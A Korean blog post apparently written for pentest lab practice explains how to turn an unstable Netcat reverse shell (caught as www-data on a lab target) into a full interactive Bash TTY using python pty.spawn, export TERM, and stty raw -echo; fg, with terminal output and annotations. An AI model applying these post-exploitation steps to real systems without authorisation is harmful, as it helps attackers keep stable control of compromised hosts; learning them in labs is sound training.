shell upgrade with python

agnusdei·2025년 11월 23일

⚙️ 불완전 쉘에서 완전 쉘로의 업그레이드 원리

사용자님이 수행하신 쉘 업그레이드 과정과 그 원리를 주석을 포함하여 최소한의 설명으로 정리했습니다. 이 과정은 OSCP\text{OSCP} 등 모의 해킹 환경에서 불안정한 Netcat\text{Netcat} 쉘을 안정적인 쉘로 전환하는 표준 기법입니다.


1. 불완전한 쉘 (Initial Shell)

Netcat\text{Netcat}이 연결되었지만, 완전한 터미널이 아닌 더미 쉘 상태입니다.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 1234  # Kali에서 리스너 실행
listening on [any] 1234 ...
connect to [192.168.130.36] from (UNKNOWN) [10.64.144.72] 36194
/bin/sh: 0: can't access tty; job control turned off # 🚨 Job Control(작업 제어) 불가, 불안정함
$ ls
web.php
$ cd
$ cd ..
$ cd ..
$ ls
files
index.html

원리: Netcat\text{Netcat}TCP\text{TCP} 연결을 /bin/sh에 전달할 뿐, **TTY\text{TTY} (Teletypewriter)**라는 터미널 환경을 생성하지 못해 Ctrl\text{Ctrl}+C\text{C}Tab\text{Tab} 완성 등의 터미널 제어 기능이 누락됩니다.


2. 쉘 업그레이드 (TTY Upgrade)

불안정한 Netcat\text{Netcat} 세션 내에서 Python\text{Python}을 이용해 Bash\text{Bash} 쉘을 생성하고, stty\text{stty} 명령어로 터미널 설정을 조정하여 제어 기능을 활성화합니다.

$ python -c 'import pty;pty.spawn("/bin/bash")' # Python pty 모듈을 이용해 Bash 쉘을 생성(Spawn)
www-data@startup:/var/www/html$ ls
ls
files  index.html
www-data@startup:/var/www/html$ export TERM=xterm # 터미널 종류를 xterm으로 설정하여 화면 출력 문제 해결
export TERM=xterm
www-data@startup:/var/www/html$ ^Z # 🚨 Ctrl+Z를 눌러 Netcat 프로세스를 정지(Suspend)
zsh: suspended  sudo nc -lvnp 1234
                                                                                                                              
┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg   # 🚨 TTY 환경 설정 및 정지된 세션 복귀 (가장 핵심)
[1]  + continued  sudo nc -lvnp 1234

www-data@startup:/var/www/html$ ls
files  index.html
www-data@startup:/var/www/html$ pwd
/var/www/html
www-data@startup:/var/www/html$ ls 
files/      index.html  # 🚨 Tab 키를 눌러도 자동 완성이 작동됨 (완전한 쉘 증거)
www-data@startup:/var/www/html$ ls 
files/      index.html  
www-data@startup:/var/www/html$ ls 

원리:

  1. Python\text{Python} pty\text{pty}: Python\text{Python}pty\text{pty} (Pseudo-TTY\text{TTY}) 모듈은 가짜 터미널(pseudo-terminal)을 생성하여 /bin/bash를 실행합니다. 이는 기본적인 Job Control을 가능하게 합니다.
  2. stty raw -echo: Kali\text{Kali} 호스트의 터미널 설정(stty)을 raw 모드로 변경하고 echo 기능을 끕니다. 이를 통해 키 입력(예: Ctrl\text{Ctrl}+C\text{C}, Tab\text{Tab})이 쉘에 직접 전달되어 제어 기능이 복구됩니다.
  3. fg (Foreground): 정지(suspend)했던 Netcat\text{Netcat} 세션을 다시 포그라운드로 가져와, 새로 설정된 TTY\text{TTY} 환경을 적용합니다.

결론: 이 과정을 통해 쉘은 TTY\text{TTY} 환경의 모든 기능을 갖춘 완전한 인터랙티브 Bash\text{Bash}로 업그레이드됩니다.

profile
DevSecOps, Pentest, Cloud(OpenStack), Develop, Data Engineering, AI-Agent

0개의 댓글